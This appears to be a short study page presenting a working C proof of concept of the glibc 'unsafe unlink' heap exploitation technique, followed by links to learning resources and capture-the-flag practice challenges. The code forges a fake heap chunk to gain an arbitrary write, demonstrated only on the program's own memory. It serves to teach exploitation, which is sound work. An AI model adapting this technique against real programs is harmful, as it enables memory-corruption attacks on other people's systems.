Skip to content

unsafe-unlink exploit

exploit works on most recent version of libc. on older versions of libc (before tcache) it's even more powerful.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

typedef struct chunk {
  int64_t       prev_size;
  int64_t       size;
  struct chunk* fd;
  struct chunk* bk;
} chunk;

uint64_t* c0_ptr;

int main() {
  uint64_t* c1_ptr;

  // don't use tcache or fastbin
  c0_ptr = malloc(0x420);
  c1_ptr = malloc(0x420);
  chunk *c0 = (uint64_t*) c0_ptr - 2;
  chunk *c1 = (uint64_t*) c1_ptr - 2;
  // create fake chunk inside c0
  chunk *fake_chunk = (chunk*) c0_ptr;
  fake_chunk->size = c0->size - 0x10; // -0x10 for prev_size and size (fake chunk starts at c0[2])

  // make sure fakechunk->bk->fd == fake_chunk
  chunk *fd_eq_fake = (uint64_t*)&c0_ptr - 2;
  assert(fd_eq_fake->fd == fake_chunk);
  fake_chunk->bk = fd_eq_fake;
  assert(fake_chunk->bk->fd == fake_chunk);

  // make sure fakechunk->fd->bk == fake_chunk
  chunk *bk_eq_fake = (uint64_t*)&c0_ptr - 3;
  assert(bk_eq_fake->bk == fake_chunk);
  fake_chunk->fd = bk_eq_fake;
  assert(fake_chunk->fd->bk == fake_chunk);

  // update following chunk metadata
  c1->prev_size = 0x420;
  c1->size &= ~1; // unset prev_in_use bit

  free(c1_ptr);

  char sens[8] = "Hello!~";

  c0_ptr[3] = sens;

  c0_ptr[0] = 0x0042414141414141L;

  printf("%s\n", sens);
}

Learning resources

heap-exploitation

how2heap

nightmare

Practice

0ctf Quals 2017 - BabyHeap2017

hitcon14_stkof

zctf16_note2